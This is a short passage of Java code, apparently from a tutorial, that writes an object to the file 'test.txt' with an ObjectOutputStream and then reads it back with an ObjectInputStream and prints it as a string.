    oout.writeObject(b);
    oout.flush();
    oout.close();
    // create an ObjectInputStream for the file we created before
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));

    // read and print an object and cast it as string
    System.out.println((String) ois.readObject());

    // read and print an object and cast it as string
